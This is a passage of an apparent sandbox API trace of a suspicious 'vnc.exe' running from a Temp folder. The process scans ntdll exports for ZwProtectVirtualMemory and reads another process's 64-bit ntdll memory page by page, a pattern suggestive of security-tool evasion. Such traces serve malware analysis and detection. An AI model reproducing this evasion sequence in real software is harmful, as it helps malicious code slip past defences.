lpString2="ZwProtectVirtualMemory") returned -1 [0137.873] lstrcmpA (lpString1="NtAllocateVirtualMemory", lpString2="ZwProtectVirtualMemory") returned -1 [0137.873] lstrcmpA (lpString1="NtAlpcAcceptConnectPort", lpString2="ZwProtectVirtualMemory") returned -1 [0137.873] lstrcmpA (lpString1="NtAlpcCancelMessage", lpString2="ZwProtectVirtualMemory") returned -1 [0137.873] lstrcmpA (lpString1="NtAlpcConnectPort", lpString2="ZwProtectVirtualMemory") returned -1 [0137.873] lstrcmpA (lpString1="NtAlpcConnectPortEx", lpString2="ZwProtectVirtualMemory") returned -1 [0137.873] lstrcmpA (lpString1="NtAlpcCreatePort", lpString2="ZwProtectVirtualMemory") returned -1 [0137.874] lstrcmpA (lpString1="NtAlpcCreatePortSection", lpString2="ZwProtectVirtualMemory") returned -1 [0137.874] lstrcmpA (lpString1="NtAlpcCreateResourceReserve", lpString2="ZwProtectVirtualMemory") returned -1 [0137.874] lstrcmpA (lpString1="NtAlpcCreateSectionView", lpString2="ZwProtectVirtualMemory") returned -1 [0137.874] lstrcmpA (lpString1="NtAlpcCreateSecurityContext", lpString2="ZwProtectVirtualMemory") returned -1 [0137.874] lstrcmpA (lpString1="NtAlpcDeletePortSection", lpString2="ZwProtectVirtualMemory") returned -1 [0137.874] lstrcmpA (lpString1="NtAlpcDeleteResourceReserve", lpString2="ZwProtectVirtualMemory") returned -1 [0137.874] lstrcmpA (lpString1="NtAlpcDeleteSectionView", lpString2="ZwProtectVirtualMemory") returned -1 [0137.874] lstrcmpA (lpString1="NtAlpcDeleteSecurityContext", lpString2="ZwProtectVirtualMemory") returned -1 [0137.874] lstrcmpA (lpString1="NtAlpcDisconnectPort", lpString2="ZwProtectVirtualMemory") returned -1 [0137.874] lstrcmpA (lpString1="NtAlpcImpersonateClientContainerOfPort", lpString2="ZwProtectVirtualMemory") returned -1 [0137.874] lstrcmpA (lpString1="NtAlpcImpersonateClientOfPort", lpString2="ZwProtectVirtualMemory") returned -1 [0137.874] lstrcmpA (lpString1="NtAlpcOpenSenderProcess", lpString2="ZwProtectVirtualMemory") returned -1 [0137.874] lstrcmpA (lpString1="NtAlpcOpenSenderThread", lpString2="ZwProtectVirtualMemory") returned -1 [0137.874] lstrcmpA (lpString1="NtAlpcQueryInformation", lpString2="ZwProtectVirtualMemory") returned -1 [0137.874] lstrcmpA (lpString1="NtAlpcQueryInformationMessage", lpString2="ZwProtectVirtualMemory") returned -1 [0137.874] lstrcmpA (lpString1="NtAlpcRevokeSecurityContext", lpString2="ZwProtectVirtualMemory") returned -1 [0137.874] lstrcmpA (lpString1="NtAlpcSendWaitReceivePort", lpString2="ZwProtectVirtualMemory") returned -1 [0137.874] lstrcmpA (lpString1="NtAlpcSetInformation", lpString2="ZwProtectVirtualMemory") returned -1 [0137.874] lstrcmpA (lpString1="NtApphelpCacheControl", lpString2="ZwProtectVirtualMemory") returned -1 [0137.874] lstrcmpA (lpString1="NtAreMappedFilesTheSame", lpString2="ZwProtectVirtualMemory") returned -1 [0137.874] lstrcmpA (lpString1="NtAssignProcessToJobObject", lpString2="ZwProtectVirtualMemory") returned -1 [0137.874] lstrcmpA (lpString1="NtAssociateWaitCompletionPacket", lpString2="ZwProtectVirtualMemory") returned -1 [0137.874] lstrcmpA (lpString1="NtCallbackReturn", lpString2="ZwProtectVirtualMemory") returned -1 [0137.874] lstrcmpA (lpString1="NtCancelIoFile", lpString2="ZwProtectVirtualMemory") returned -1 [0137.874] lstrcmpA (lpString1="NtCancelIoFileEx", lpString2="ZwProtectVirtualMemory") returned -1 [0137.874] lstrcmpA (lpString1="NtCancelSynchronousIoFile", lpString2="ZwProtectVirtualMemory") returned -1 [0137.875] lstrcmpA (lpString1="NtCancelTimer", lpString2="ZwProtectVirtualMemory") returned -1 [0137.875] lstrcmpA (lpString1="NtCancelTimer2", lpString2="ZwProtectVirtualMemory") returned -1 [0137.875] lstrcmpA (lpString1="NtCancelWaitCompletionPacket", lpString2="ZwProtectVirtualMemory") returned -1 [0137.875] lstrcmpA (lpString1="NtClearEvent", lpString2="ZwProtectVirtualMemory") returned -1 [0137.875] lstrcmpA (lpString1="NtClose", lpString2="ZwProtectVirtualMemory") returned -1 [0137.875] lstrcmpA (lpString1="NtCloseObjectAuditAlarm", lpString2="ZwProtectVirtualMemory") returned -1 [0137.875] lstrcmpA (lpString1="NtCommitComplete", lpString2="ZwProtectVirtualMemory") returned -1 [0137.875] lstrcmpA (lpString1="NtCommitEnlistment", lpString2="ZwProtectVirtualMemory") returned -1 [0137.875] lstrcmpA (lpString1="NtCommitTransaction", lpString2="ZwProtectVirtualMemory") returned -1 [0137.875] lstrcmpA (lpString1="NtCompactKeys", lpString2="ZwProtectVirtualMemory") returned -1 [0137.875] lstrcmpA (lpString1="NtCompareObjects", lpString2="ZwProtectVirtualMemory") returned -1 [0137.875] lstrcmpA (lpString1="NtCompareTokens", lpString2="ZwProtectVirtualMemory") returned -1 [0137.875] lstrcmpA (lpString1="NtCompleteConnectPort", lpString2="ZwProtectVirtualMemory") returned -1 [0137.875] lstrcmpA (lpString1="NtCompressKey", lpString2="ZwProtectVirtualMemory") returned -1 [0137.875] lstrcmpA (lpString1="NtConnectPort", lpString2="ZwProtectVirtualMemory") returned -1 [0137.875] VirtualFree (lpAddress=0x24f0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0137.981] GetModuleHandleW (lpModuleName="NTDLL.DLL") returned 0x77220000 [0137.981] GetProcAddress (hModule=0x77220000, lpProcName="ZwWow64QueryInformationProcess64") returned 0x77298930 [0137.981] NtWow64QueryInformationProcess64 (in: ProcessHandle=0x17c, ProcessInformationClass=0x0, ProcessInformation64=0x18e9f4, ProcessInformationLength=0x30, ReturnLength=0x18ea4c | out: ProcessInformation64=0x18e9f4, ReturnLength=0x18ea4c) returned 0x0 [0137.981] LocalAlloc (uFlags=0x0, uBytes=0x200) returned 0x7392a0 [0137.982] LocalAlloc (uFlags=0x0, uBytes=0x100) returned 0x72e060 [0137.983] LocalFree (hMem=0x7392a0) returned 0x0 [0137.983] LocalFree (hMem=0x72e060) returned 0x0 [0137.984] VirtualAlloc (lpAddress=0x0, dwSize=0x5a4, flAllocationType=0x3000, flProtect=0x4) returned 0x830000 [0137.984] GetModuleHandleW (lpModuleName="NTDLL.DLL") returned 0x77220000 [0137.984] GetProcAddress (hModule=0x77220000, lpProcName="ZwWow64QueryInformationProcess64") returned 0x77298930 [0137.984] NtWow64QueryInformationProcess64 (in: ProcessHandle=0x17c, ProcessInformationClass=0x0, ProcessInformation64=0x18e9f4, ProcessInformationLength=0x30, ReturnLength=0x18ea4c | out: ProcessInformation64=0x18e9f4, ReturnLength=0x18ea4c) returned 0x0 [0137.984] LocalAlloc (uFlags=0x0, uBytes=0x200) returned 0x7392a0 [0137.984] LocalAlloc (uFlags=0x0, uBytes=0x100) returned 0x72e060 [0137.984] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0x3a8000, Buffer=0x0, BufferSize=0x72e060, NumberOfBytesRead=0x28 | out: Buffer=0x0, NumberOfBytesRead=0x28) returned 0x0 [0137.984] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf08e5200, Buffer=0x7fff, BufferSize=0x72e088, NumberOfBytesRead=0x40 | out: Buffer=0x7fff, NumberOfBytesRead=0x40) returned 0x0 [0137.984] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0x5b1ce0, Buffer=0x0, BufferSize=0x72e0c8, NumberOfBytesRead=0x98 | out: Buffer=0x0, NumberOfBytesRead=0x98) returned 0x0 [0137.985] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0x5b1918, Buffer=0x0, BufferSize=0x7392a0, NumberOfBytesRead=0x58 | out: Buffer=0x0, NumberOfBytesRead=0x58) returned 0x0 [0137.985] StrRChrA (lpStart="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\vnc.exe", lpEnd=0x0, wMatch=0x5c) returned="\\vnc.exe" [0137.985] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0x5b1b60, Buffer=0x0, BufferSize=0x72e0c8, NumberOfBytesRead=0x98 | out: Buffer=0x0, NumberOfBytesRead=0x98) returned 0x0 [0137.985] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0x5b1a60, Buffer=0x0, BufferSize=0x7392a0, NumberOfBytesRead=0x3a | out: Buffer=0x0, NumberOfBytesRead=0x3a) returned 0x0 [0137.985] StrRChrA (lpStart="C:\\Windows\\SYSTEM32\\ntdll.dll", lpEnd=0x0, wMatch=0x5c) returned="\\ntdll.dll" [0137.985] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0x5b2180, Buffer=0x0, BufferSize=0x72e0c8, NumberOfBytesRead=0x98 | out: Buffer=0x0, NumberOfBytesRead=0x98) returned 0x0 [0137.985] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0x5b2300, Buffer=0x0, BufferSize=0x7392a0, NumberOfBytesRead=0x3a | out: Buffer=0x0, NumberOfBytesRead=0x3a) returned 0x0 [0137.985] StrRChrA (lpStart="C:\\Windows\\system32\\wow64.dll", lpEnd=0x0, wMatch=0x5c) returned="\\wow64.dll" [0137.985] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0x5b2460, Buffer=0x0, BufferSize=0x72e0c8, NumberOfBytesRead=0x98 | out: Buffer=0x0, NumberOfBytesRead=0x98) returned 0x0 [0137.985] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0x5b25e0, Buffer=0x0, BufferSize=0x7392a0, NumberOfBytesRead=0x40 | out: Buffer=0x0, NumberOfBytesRead=0x40) returned 0x0 [0137.985] StrRChrA (lpStart="C:\\Windows\\system32\\wow64win.dll", lpEnd=0x0, wMatch=0x5c) returned="\\wow64win.dll" [0137.985] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0x5b2630, Buffer=0x0, BufferSize=0x72e0c8, NumberOfBytesRead=0x98 | out: Buffer=0x0, NumberOfBytesRead=0x98) returned 0x0 [0137.985] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0x5b2100, Buffer=0x0, BufferSize=0x7392a0, NumberOfBytesRead=0x40 | out: Buffer=0x0, NumberOfBytesRead=0x40) returned 0x0 [0137.985] StrRChrA (lpStart="C:\\Windows\\system32\\wow64cpu.dll", lpEnd=0x0, wMatch=0x5c) returned="\\wow64cpu.dll" [0137.986] LocalFree (hMem=0x7392a0) returned 0x0 [0137.987] LocalFree (hMem=0x72e060) returned 0x0 [0137.987] lstrcmpiA (lpString1="vnc.exe", lpString2="NTDLL.DLL") returned 1 [0137.987] StrChrA (lpStart="vnc.exe", wMatch=0x2e) returned=".exe" [0137.987] lstrcmpiA (lpString1="vnc", lpString2="NTDLL.DLL") returned 1 [0137.987] lstrcmpiA (lpString1="ntdll.dll", lpString2="NTDLL.DLL") returned 0 [0137.987] VirtualFree (lpAddress=0x830000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0137.988] VirtualAlloc (lpAddress=0x0, dwSize=0x1c1000, flAllocationType=0x3000, flProtect=0x4) returned 0x24f0000 [0137.989] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07a0000, Buffer=0x7fff, BufferSize=0x24f0000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.989] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07a1000, Buffer=0x7fff, BufferSize=0x24f1000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.989] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07a2000, Buffer=0x7fff, BufferSize=0x24f2000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.989] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07a3000, Buffer=0x7fff, BufferSize=0x24f3000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.989] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07a4000, Buffer=0x7fff, BufferSize=0x24f4000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.990] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07a5000, Buffer=0x7fff, BufferSize=0x24f5000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.990] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07a6000, Buffer=0x7fff, BufferSize=0x24f6000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.990] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07a7000, Buffer=0x7fff, BufferSize=0x24f7000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.990] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07a8000, Buffer=0x7fff, BufferSize=0x24f8000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.990] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07a9000, Buffer=0x7fff, BufferSize=0x24f9000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.990] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07aa000, Buffer=0x7fff, BufferSize=0x24fa000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.990] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07ab000, Buffer=0x7fff, BufferSize=0x24fb000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.991] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07ac000, Buffer=0x7fff, BufferSize=0x24fc000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.991] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07ad000, Buffer=0x7fff, BufferSize=0x24fd000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.991] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07ae000, Buffer=0x7fff, BufferSize=0x24fe000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.991] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07af000, Buffer=0x7fff, BufferSize=0x24ff000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.991] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07b0000, Buffer=0x7fff, BufferSize=0x2500000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.992] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07b1000, Buffer=0x7fff, BufferSize=0x2501000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.992] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07b2000, Buffer=0x7fff, BufferSize=0x2502000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.992] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07b3000, Buffer=0x7fff, BufferSize=0x2503000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.992] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07b4000, Buffer=0x7fff, BufferSize=0x2504000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.993] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07b5000, Buffer=0x7fff, BufferSize=0x2505000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.993] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07b6000, Buffer=0x7fff, BufferSize=0x2506000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.993] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07b7000, Buffer=0x7fff, BufferSize=0x2507000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.993] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07b8000, Buffer=0x7fff, BufferSize=0x2508000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.993] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07b9000, Buffer=0x7fff, BufferSize=0x2509000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.993] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07ba000, Buffer=0x7fff, BufferSize=0x250a000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.994] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07bb000, Buffer=0x7fff, BufferSize=0x250b000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.994] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07bc000, Buffer=0x7fff, BufferSize=0x250c000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.994] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07bd000, Buffer=0x7fff, BufferSize=0x250d000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.994] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07be000, Buffer=0x7fff, BufferSize=0x250e000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.994] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07bf000, Buffer=0x7fff, BufferSize=0x250f000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.994] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07c0000, Buffer=0x7fff, BufferSize=0x2510000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.995] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07c1000, Buffer=0x7fff, BufferSize=0x2511000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.995] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07c2000, Buffer=0x7fff, BufferSize=0x2512000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.995] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07c3000, Buffer=0x7fff, BufferSize=0x2513000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.995] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07c4000, Buffer=0x7fff, BufferSize=0x2514000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.995] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07c5000, Buffer=0x7fff, BufferSize=0x2515000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.995] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07c6000, Buffer=0x7fff, BufferSize=0x2516000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.995] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07c7000, Buffer=0x7fff, BufferSize=0x2517000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.996] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07c8000, Buffer=0x7fff, BufferSize=0x2518000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.996] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07c9000, Buffer=0x7fff, BufferSize=0x2519000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.996] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07ca000, Buffer=0x7fff, BufferSize=0x251a000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.996] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07cb000, Buffer=0x7fff, BufferSize=0x251b000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.996] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07cc000, Buffer=0x7fff, BufferSize=0x251c000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.996] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07cd000, Buffer=0x7fff, BufferSize=0x251d000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.997] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07ce000, Buffer=0x7fff, BufferSize=0x251e000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.997] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07cf000, Buffer=0x7fff, BufferSize=0x251f000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.997] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07d0000, Buffer=0x7fff, BufferSize=0x2520000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.997] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07d1000, Buffer=0x7fff, BufferSize=0x2521000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.997] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07d2000, Buffer=0x7fff, BufferSize=0x2522000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.997] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07d3000, Buffer=0x7fff, BufferSize=0x2523000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.998] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07d4000, Buffer=0x7fff, BufferSize=0x2524000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.998] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07d5000, Buffer=0x7fff, BufferSize=0x2525000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.998] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07d6000, Buffer=0x7fff, BufferSize=0x2526000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.998] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07d7000, Buffer=0x7fff, BufferSize=0x2527000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.998] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07d8000, Buffer=0x7fff, BufferSize=0x2528000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.998] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07d9000, Buffer=0x7fff, BufferSize=0x2529000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.999] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07da000, Buffer=0x7fff, BufferSize=0x252a000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.999] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07db000, Buffer=0x7fff, BufferSize=0x252b000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.999] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07dc000, Buffer=0x7fff, BufferSize=0x252c000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.999] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07dd000, Buffer=0x7fff, BufferSize=0x252d000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.999] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07de000, Buffer=0x7fff, BufferSize=0x252e000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.999] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07df000, Buffer=0x7fff, BufferSize=0x252f000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.999] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07e0000, Buffer=0x7fff, BufferSize=0x2530000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.000] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07e1000, Buffer=0x7fff, BufferSize=0x2531000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.000] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07e2000, Buffer=0x7fff, BufferSize=0x2532000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.000] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07e3000, Buffer=0x7fff, BufferSize=0x2533000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.000] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07e4000, Buffer=0x7fff, BufferSize=0x2534000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.000] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07e5000, Buffer=0x7fff, BufferSize=0x2535000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.000] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07e6000, Buffer=0x7fff, BufferSize=0x2536000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.001] NtWow64ReadVirtualMemory64 (in: 